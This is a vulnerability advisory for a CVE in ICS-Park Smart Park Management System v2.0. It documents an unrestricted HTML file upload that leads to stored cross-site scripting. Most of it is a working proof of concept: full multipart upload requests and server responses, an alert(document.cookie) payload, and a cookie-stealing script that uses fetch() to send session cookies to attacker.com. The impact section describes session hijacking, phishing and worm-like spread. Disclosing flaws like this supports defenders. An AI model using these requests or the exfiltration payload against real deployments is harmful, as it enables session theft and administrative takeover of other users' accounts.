📄 ICS-Park Smart Park Management System 2.0 Cross Site Scripting

CVE-2026-67688: ICS-Park Smart Park Management System v2.0 - Unrestricted HTML File Upload Leading to Stored XSS
    CVE ID
    CVE-2026-67688
    
    Description
    ICS-Park Smart Park Management System v2.0 contains an unrestricted file upload vulnerability in the file upload module. The allowed extension whitelist (`DEFAULT_ALLOWED_EXTENSION`) includes "html" and "htm" extensions, and the upload directory is mapped as a static resource path. This allows any authenticated user to upload arbitrary HTML files containing malicious JavaScript, leading to stored Cross-Site Scripting (XSS) when other users access the uploaded files.
    
    Proof of Concept (PoC)
    ## Proof of Concept (PoC)
    
    ### 1. Upload malicious HTML file
    
    ```http
    POST /dfs/upload HTTP/1.1
    Host: target-server
    token: {any_valid_token}
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
    
    ------WebKitFormBoundary
    Content-Disposition: form-data; name="file"; filename="xss.html"
    Content-Type: text/html
    
    <script>alert(document.cookie)</script>
    ------WebKitFormBoundary--
    ```
    
    Response:
    
    ```json
    {
      "msg": "success",
      "fileName": "/profile/2026/06/10/87b7c4a39da5b24b832f7658837de2fe.html",
      "code": 0,
      "url": "http://localhost:9227/profile/2026/06/10/87b7c4a39da5b24b832f7658837de2fe.html"
    }
    ```
    
    ### 2. Verify file is accessible
    
    ```http
    GET /profile/2026/06/10/87b7c4a39da5b24b832f7658837de2fe.html HTTP/1.1
    Host: target-server
    ```
    
    Response body: `<script>alert(document.cookie)</script>`
    
    ### 3. Low-privilege user can also upload
    
    ```http
    POST /dfs/upload HTTP/1.1
    Host: target-server
    token: {any_valid_token}
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
    
    ------WebKitFormBoundary
    Content-Disposition: form-data; name="file"; filename="steal_cookie.html"
    Content-Type: text/html
    
    <script>fetch('http://attacker.com/steal?c='+document.cookie)</script>
    ------WebKitFormBoundary--
    ```
    
    Response: `{"msg":"success","code":0}`
    Impact
    - **Stored Cross-Site Scripting (XSS)**: Arbitrary JavaScript execution in the context of the ICS-Park application domain
    - **Session Hijacking**: Attacker can steal administrator session cookies/tokens by crafting a payload that exfiltrates `document.cookie` or `localStorage` data
    - **Phishing**: Malicious HTML pages can mimic login forms to capture credentials
    - **Worm Propagation**: an XSS payload can programmatically create admin roles, modify system settings, and propagate within the organization
    - **Privileged Access via XSS**: Since administrators are the primary users of the backend system, XSS payloads executed in their session context inherit full administrative privileges
    Credit
    Discoverer: zyh